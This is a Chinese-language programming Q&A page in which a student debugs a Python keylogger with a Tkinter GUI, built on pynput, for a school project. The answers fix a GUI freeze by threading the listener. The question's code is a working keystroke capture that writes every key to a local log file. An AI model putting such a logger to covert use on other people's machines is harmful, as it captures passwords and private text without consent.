Tkinter 和键盘记录器的错误

问题描述

我正在尝试为学校项目编写键盘记录程序,但遇到错误

  1. 写入 txt 文件时,空格不起作用,因此所有文本都在一起。
  2. 我无法加载 GUI,我正在使用 Tkinter,即使我让它工作,它也会在启动后冻结和崩溃。 如果有任何修复或帮助,将不胜感激。这是我的代码
# Keylogger Program Using Pynput

# Imports
from tkinter import *
import os
from pynput.keyboard import Key,Listener
import pynput

from keylogger import on_press,on_release

count = 0
keys = []


def start_keylogger():

    # For every 5 keys pressed the log will update,this value can change.
    def on_press(key):
        global keys,count

        keys.append(key)
        count += 1
        print("{0} pressed".format(key))

        if count >= 2:
            count = 0
            write_file(keys)
            keys = []

    # Making the log file more readable.
    def write_file(keys):
        with open("log.txt","a") as f:
            for key in keys:
                k = str(key).replace("'","")
                if k.find("space") > 0:
                    f.write(" ")
                elif k.find("Key") == -1:
                    f.write(k)

    # To exit/stop the keylogger.
    def on_release(key):
        if key == Key.esc:
            return False

    # For the keylogger itself.
    with Listener(on_press=on_press,on_release=on_release) as listener:
        listener.join()


def open_log():
    ff = open("log.txt","r")
    print(ff.read())

# Simple GUI
# Creating the window
# Modifying the window


root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")

# Title
theLabel = Label(root,text="Krish's Keylogger.",bg="#808080")
theLabel.pack()

# Button 1 to start the keylogger.
button1 = Button(root,text="Start",bg="#059CF0",fg="white",command=start_keylogger)
button1.pack(fill=X)

# Button 2 to open the log file.
button2 = Button(root,text="Open Log",command=open_log)
button2.pack(fill=X)

# Button 3 to end the keylogger.
button3 = Button(root,text="Exit",command=root.quit)
button3.pack(fill=X)

# Status Bar
status = Label(root,text="Currently doing nothing!",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BottOM,fill=X)

root.mainloop()

谢谢!

解决方法

尝试这样的事情:

from tkinter import *
from threading import Thread
import time


def _start_keylogger():
    # I am replacing all of the keylogger code with a `time.sleep`
    time.sleep(10)

def start_keylogger():
    new_thread = Thread(target=_start_keylogger,daemon=True)
    new_thread.start()

root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")

# Title
theLabel = Label(root,text="Krish's Keylogger.",bg="#808080")
theLabel.pack()

# Button 1 to start the keylogger.
button1 = Button(root,text="Start",bg="#059CF0",fg="white",command=start_keylogger)
button1.pack(fill="x")

# Button 2 to open the log file.
button2 = Button(root,text="Open Log",command=None)
button2.pack(fill="x")

# Button 3 to end the keylogger.
button3 = Button(root,text="Exit",command=root.quit)
button3.pack(fill="x")

# Status Bar
status = Label(root,text="Currently doing nothing!",bd=1,relief="sunken",anchor="w")
status.pack(side="bottom",fill="x")

root.mainloop()

我使用 new_thread = Threading(target=...,daemon=True) 创建新线程,然后使用 new_thread.start() 启动线程。请注意,我用 time.sleep 替换了所有键盘记录代码,因为我没有安装该库。

,

您必须将代码放入侦听器中

with Listener(on_press=on_press,on_release=on_release) as listener:

     # ... your code with GUI ...
     # ... or at least `root.mainloop()

     listener.join()

或者你可以写一点不同但也许更好理解它。

listener = Listener(on_press=on_press,on_release=on_release)
listener.start()

# ... your code with GUI ...
# ... or at least `root.mainloop()`

listener.stop()    
listener.join()

Listener 已经使用 thread 来运行它的代码(这就是为什么它像 .join() 一样使用 thread)并且不需要将它放在另一个线程中。

class AbstractListener(threading.Thread)source code,稍后用于创建 keyboard.Listenermouse.Listener。在注释中的这段代码中,您还可以看到如何将它与 startstop 和 try/except 一起使用。